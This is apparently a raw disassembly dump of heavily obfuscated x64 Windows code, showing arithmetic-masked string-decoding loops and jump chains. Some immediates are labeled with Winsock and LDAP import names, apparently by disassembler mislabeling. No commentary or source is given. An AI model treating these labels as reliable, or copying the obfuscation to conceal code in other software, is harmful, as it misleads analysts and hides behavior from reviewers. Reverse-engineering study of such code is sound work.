lea r12d, [r11 + rcx]
sub r12b, 0x22
jmp 0x1400ff60a
movabs rdx, 0xc315a744ca918a60
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400ff656
movabs rcx, 0xc70bc860bb3c8572
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x1e
jmp 0x1400ff659
movabs rdx, 0xcb01e97cabe78084
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400ff698
movabs rcx, 0xcef80a989c927b96
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x1a
jmp 0x1400ff6cc
movabs rdx, 0xd2ee2bb48d3d76a8
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
movzx eax, byte [rbp + r10 + 0x90]
add rax, r9
add r10, rax
inc r10
jmp 0x1400fea43
movabs rcx, 0x5cd57e7a66e8ea55
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x53
mov byte [rbp + r10 + 0x90], r12b
inc r10
jmp 0x1400fea43
movabs rcx, 0x60cb9f965793e567
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x2f
cmp r9, 0x80
jb 0x1400fef2d
movabs rcx, 0x35f7676f0deffb6a
add rcx, r10
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_listen
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r12d, [rdx + rdx]
jmp 0x1400ff5b2
movabs rcx, 0x64c1c0b2483ee079
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x4f
cmp rbx, 0x7a
jae 0x1400ff462
lea rax, [r9 + 0x61]
cmp rbx, rax
jbe 0x1400ff393
movabs rdx, 0x5d94b286749dca1e
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
add r12b, dl
jmp 0x1400fef5c
movabs rcx, 0x68b7e1ce38e9db8b
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x33
lea rax, [r9 + rbx]
cmp rax, 3
je 0x1400ff492
lea rcx, [r9 + 2]
cmp rbx, rcx
jbe 0x1400ff2da
movabs rcx, 0x72d0e2bd3a1165b
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x7d
jmp 0x1400fefae
movabs rdx, 0x66dda1fc5ec3692
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
movzx eax, byte [rbp + r10 + 0x90]
add rax, r9
add r10, rax
inc r10
jmp 0x1400fea43
movabs rcx, 0xa63fb3bb69731a4
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x7c
jmp 0x1400ff6cc
movabs rdx, 0xe5a1c57a7422cb6
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
jmp 0x1400ff695
movabs rcx, 0x12503d7397ed27c8
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x78
add r11b, cl
movzx r12d, r11b
jmp 0x1400ff659
movabs rdx, 0x16465e8f889822da
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400ff656
movabs rcx, 0x1a3c7fab79431dec
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x74
jmp 0x1400ff60a
movabs rdx, 0x1e32a0c769ee18fe
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
add r12b, dl
dec r10
inc r10
jmp 0x1400fea43
movabs rcx, 0x2228c1e35a991410
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x70
inc r9
dec r10
inc r10
jmp 0x1400fea43
movabs rdx, 0x261ee2ff4b440f22
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
add r12b, dl
jmp 0x1400ff5b2
lea rax, [r9 + 8]
cmp rbx, rax
jae 0x1400ff1f8
movabs rcx, 0x7e04ef7207aa8277
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x41
jmp 0x1400ff00d
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1400ff23c
movabs rdx, 0xaccf48b541f96786
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
movzx eax, byte [rbp + r10 + 0x90]
add rax, r9
add r10, rax
inc r10
jmp 0x1400fea43
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1400ff26e
movabs rdx, 0xa4e3067d60a37162
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400ff698
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400ff2a4
movabs rcx, 0x911460f1ad4c8a08
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x38
inc r9
dec r10
inc r10
jmp 0x1400fea43
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1400ff00d
movabs rdx, 0x8d1e3fd5bca18ef6
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400ff5b2
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1400ff306
movabs rcx, 0x336ed0fe2f61b49
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
inc r12b
jmp 0x1400ff5b2
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400ff339
movabs rcx, 0xfb4aaad801a02525
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 3
dec r10
inc r10
jmp 0x1400fea43
cmp rbx, rcx
jne 0x1400ff362
movabs rcx, 0xf75489bc10f52a13
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x7b
jmp 0x1400ff60a
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1400fefae
movabs rcx, 0xef6847842f9f33ef
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x77
jmp 0x1400ff659
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1400ff3d2
movabs rcx, 0x599e916a83f2cf0c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x54
movzx eax, byte [rbp + r10 + 0x90]
add rax, r9
add r10, rax
inc r10
jmp 0x1400fea43
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400ff3ff
movabs rcx, 0x51b24f32a29cd8e8
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x58
jmp 0x1400ff698
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1400ff42c
movabs rcx, 0x49c60cfac146e2c4
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x5c
jmp 0x1400ff656
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1400fef5c
movabs rdx, 0x45cfebded09be7b2
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r11b
jmp 0x1400ff60a
movabs rdx, 0x320146531d450058
add rdx, r10
movzx eax, dl
and al, r11b
add al, al
movzx r12d, byte [rbp + r10 + 0x90]
sub r12b, al
sub r12b, 0x68
add r12b, dl
add r12b, r11b
jmp 0x1400ff60a
movabs rdx, 0x2e0b25372c9a0546
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r12d, [rcx + rcx]
sub r12b, byte [rbp + r10 + 0x90]
add r12b, dl
add r12b, r11b
jmp 0x1400ff698
movabs rcx, 0x32c07a5f2af9e021
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x19
movzx eax, byte [rbp + r10 + 0x90]
add rax, r9
add r10, rax
inc r10
jmp 0x1400fea43
movabs rcx, 0x3ea2ddb2fcfad157
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x61
jmp 0x1400ff659
movabs rcx, 0x4298feceeda5cc69
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x21
jmp 0x1400ff656
movabs rcx, 0x4e7b6222bfa6bd9f
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
sub r12b, 0x59
inc r9
dec r10
inc r10
jmp 0x1400fea43
movabs rdx, 0x5271833eb051b8b1
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r12d, r11b
sub r12b, al
add r12b, 0x29
add r12b, dl
jmp 0x1400ff5b2
movabs rcx, 0x5a5dc57691a7aed5
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x2d
movabs rcx, 0xb3fc56e1159a7de1
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x27
add r11b, cl
mov byte [rbp + r10 + 0x90], r11b
inc r9
dec r10
inc r10
jmp 0x1400fea43
movabs rdx, 0x664028ca63a8a00b
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r12d, r11b
sub r12b, al
sub r12b, 0x4d
add r12b, dl
movabs rdx, 0xb00635c524ef82cf
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r12b
sub cl, al
add cl, 0x57
add cl, r11b
add cl, dl
mov byte [rbp + r10 + 0x90], cl
jmp 0x1400ff656
movabs rcx, 0x6a3649e654539b1d
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x35
add rbx, r9
movzx eax, r12b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400fea43
mov r11, r8
movabs rdx, 0x72228c1e35a99141
add rdx, r10
movzx eax, dl
and al, r8b
add al, al
movzx r12d, r8b
sub r12b, al
add r12b, 0x39
add r12b, dl
movabs rdx, 0xac1014a9344487bd
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x90], al
inc r9
add rax, r9
sub r10, rax
movabs rcx, 0x2a15041b3bef0a34
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x6c
add r11b, cl
mov byte [rbp + r10 + 0x90], r11b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x90]
add rax, r9
add r10, rax
inc r10
jmp 0x1400fea43
movabs rcx, 0x7a0ece5616ff8765
add rcx, r10
movzx eax, r8b
and al, cl
add al, al
sub cl, al
lea r12d, [r8 + rcx]
add r12b, 0x3d
movzx eax, byte [rbp + r10 + 0x90]
add rax, r9
add r10, rax
inc r10
jmp 0x1400fea43
movabs rcx, 0x7890663dfb95c7d3
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r12d, [r11 + rcx]
add r12b, 0x3b
jmp 0x1400fea40
movabs rcx, 0x7c868759ec40c2e5
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x43
add r11b, cl
movzx r12d, r11b
jmp 0x1400fea30
lea r8, [rbp + 0x14fa884]
jmp 0x1400ff7b5
lea r8, [rbp + 0x7a2afb]
jmp 0x1400ff7b5
lea r8, [rbp + 0x90]
mov r9, 0xffffffffffffffff
nop dword [rax]
inc r9
cmp byte [r8 + r9], 0
jne 0x1400ff7c0
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
call fcn.140043a10
test al, al
jne 0x14010495b
movzx eax, word [0x140275444]
add al, 0xc
xor al, 0x94
mov byte [rbp + 0xb0], al
movzx eax, byte [0x140275445]
add al, 0xc
xor al, 0x95
mov byte [rbp + 0xb1], al
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb2], xmm0
mov qword [rbp + 0xc2], rax
mov dword [rbp + 0xca], eax
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r9d, r9d
cmp r9, 0x1e
jae 0x140100507
movzx r10d, byte [rbp + r9 + 0xb0]
mov rdx, r10
nop dword [rax]
cmp rbx, r9
ja 0x1401004fe
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400ff89a
movabs rcx, 0x9482b520bbade94
add rcx, r9
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0xc
mov qword [rsp + 0x28], r11
jmp 0x1400ff8c0
je 0x140100467
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140100420
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1401003ce
nop word [rax + rax]
cmp r8, r9
ja 0x1401004f5
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x1400ff8e6
movabs rdx, 0xc2eb8dbaf6544224
mov ecx, 2
jmp 0x1400ffaed
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14010036f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14010033c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140100317
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x1400fff1c
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400ffef7
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400ffec4
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400ffe94
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400ffe6f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400ffe5b
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400ffe30
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400ffe0d
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400ffde4
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400ffdbb
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400ff920
lea rbx, [r8 + 6]
lea r8, [rbx + 4]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1401004cb
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1401004a1
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400ffb39
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400ffb0c
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400ffade
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400ffd90
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400ffd36
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400ffce0
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400ffcaa
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400ff920
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400ffc85
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400ffc5d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400ffc38
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400ffc0f
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400ffbea
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400ffbd6
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400ffbc2
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400ffb8b
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400ffb65
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400ff920
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x40]
jmp 0x1400ff920
movabs rdx, 0xa2f858c5e76da5c
mov ecx, 0x3e
add rdx, r9
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
mov qword [rsp + 0x28], r11
jmp 0x1400ff910
movabs rdx, 0xf79f2ee847011d34
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, dl
mov qword [rsp + 0x28], r11
jmp 0x1400ff8c0
movabs rdx, 0xe50ed8442f8b600c
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x54
add r11b, dl
mov qword [rsp + 0x28], r11
jmp 0x1400ff856
movabs rdx, 0x175c6dd7b2a21120
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010038f
movabs rdx, 0x4cc17339b2c53f8
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec r9
mov qword [rsp + 0x28], r11
inc r9
jmp 0x1400ff843
movabs rdx, 0xf23bc08f83b696d0
mov ecx, Ordinal_41
jmp 0x1400ffff5
movabs rdx, 0xdfab69eb6c40d9a8
mov ecx, 0x34
jmp 0x1401003dd
movabs rcx, 0xcd1b134754cb1c80
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
jmp 0x140100444
movabs rcx, 0xba8abca33d555f58
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x68
mov qword [rsp + 0x28], rdx
jmp 0x14010044f
movabs rdx, 0xa7fa65ff25dfa230
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x50
jmp 0x1401002a4
movabs rdx, 0x956a0f5b0e69e508
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x1401002db
movabs rcx, 0x82d9b8b6f6f427e0
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
jmp 0x140100485
movabs rdx, 0x5470e01cbc4dcefc
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x28], rdx
mov byte [rbp + r9 + 0xb0], dl
inc r9
jmp 0x1400ff843
movabs rdx, 0x41e08978a4d811d4
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x28], rdx
cmp r8, 1
jb 0x1400ffcd0
movabs rdx, 0xb2c142b0ac74aef8
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140100392
movabs rdx, 0x2f5032d48d6254ac
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x28], rdx
cmp rbx, 0xa
jae 0x140100250
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140100188
movabs rdx, 0xf91de047c1db4b68
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400ffcf8
movabs rdx, 0x1cbfdc3075ec9784
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x28], rdx
jmp 0x14010008e
movabs rdx, 0x91855261c5f98cd8
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140100485
movabs rdx, 0x7ef4fbbdae83cfb0
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401002db
movabs rdx, 0x6c64a519970e1288
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1401002a1
movabs rdx, 0x59d44e757f985560
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x28], rdx
jmp 0x14010044f
movabs rdx, 0x4743f7d168229838
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010042f
movabs rdx, 0x34b3a12d50acdb10
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
jmp 0x1401003ef
movabs rcx, 0x22234a8939371de8
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x58
dec r9
mov qword [rsp + 0x28], r11
inc r9
jmp 0x1400ff843
movabs rcx, 0xf92f3e521c160c0
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
inc r8
dec r9
mov qword [rsp + 0x28], r11
inc r9
jmp 0x1400ff843
movabs rdx, 0xfd029d410a4ba398
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
jmp 0x14010038f
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x1400fff4f
movabs rdx, 0x9482b520bbade94
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xc
add dl, cl
mov qword [rsp + 0x28], rdx
jmp 0x14010008e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fff81
movabs rdx, 0x85d71b75eca88448
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140100485
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fffaf
movabs rdx, 0xaaf7c8be1b93fe98
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
jmp 0x1401002a4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400fffdd
movabs rdx, 0xe2a8ccaa61f53610
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
jmp 0x1401003ef
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14010001a
movabs rdx, 0xf539234e796af338
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec r9
mov qword [rsp + 0x28], r11
inc r9
jmp 0x1400ff843
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14010005a
movabs rdx, 0x7c979f290e0b060
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec r9
mov qword [rsp + 0x28], r11
inc r9
jmp 0x1400ff843
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140100089
movabs rdx, 0x1a59d096a8566d88
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010038f
mov rdx, qword [rsp + 0x28]
lea rax, [r8 + rbx]
cmp rax, 1
je 0x14010027b
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x1401000c2
movabs rdx, 0x3632528ccb870944
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
jmp 0x1400ffd4e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1401000f1
movabs rdx, 0x48c2a930e2fcc66c
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010038f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14010012a
movabs rcx, 0x6de3567911e840bc
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x24
dec r9
mov qword [rsp + 0x28], r11
inc r9
jmp 0x1400ff843
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140100158
movabs rcx, 0x930403c140d3bb0c
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x54
jmp 0x140100444
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400ffd5c
movabs rdx, 0xb824b1096fbf355c
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1401002a1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1401001ba
movabs rdx, 0xbae36ebd9510890
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140100485
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1401001eb
movabs rdx, 0x1e3e8d8ff0c6c5b8
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x1401002db
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14010021d
movabs rcx, 0x435f3ad81fb24008
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x38
mov qword [rsp + 0x28], rdx
jmp 0x14010044f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400ffd06
movabs rdx, 0xa030ec0c94fef1d0
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010038f
movabs rdx, 0xc5519954c3ea6c20
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + r9 + 0xb0]
jmp 0x1401003ec
movabs rdx, 0xd7e1eff8db602948
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + r9 + 0xb0]
add r11b, r10b
add r11b, dl
movabs rdx, 0xe12a1b4ae71b07dc
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 4
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xb0], al
inc r8
add rax, r8
sub r9, rax
movabs rcx, 0xea72469cf2d5e670
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x10
add r10b, cl
mov byte [rbp + r9 + 0xb0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140100485
movabs rcx, 0x1fbd3eef6ba0f3ec
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x74
jmp 0x140100444
movabs rcx, 0xe80c3b03253fbc74
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2c
inc r8
dec r9
mov qword [rsp + 0x28], r11
inc r9
jmp 0x1400ff843
movabs rdx, 0xd57be45f0dc9ff4c
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x14
add r11b, dl
movabs rdx, 0xbc096e02b82f8d8c
add rdx, r9
movzx eax, r10b
and al, dl
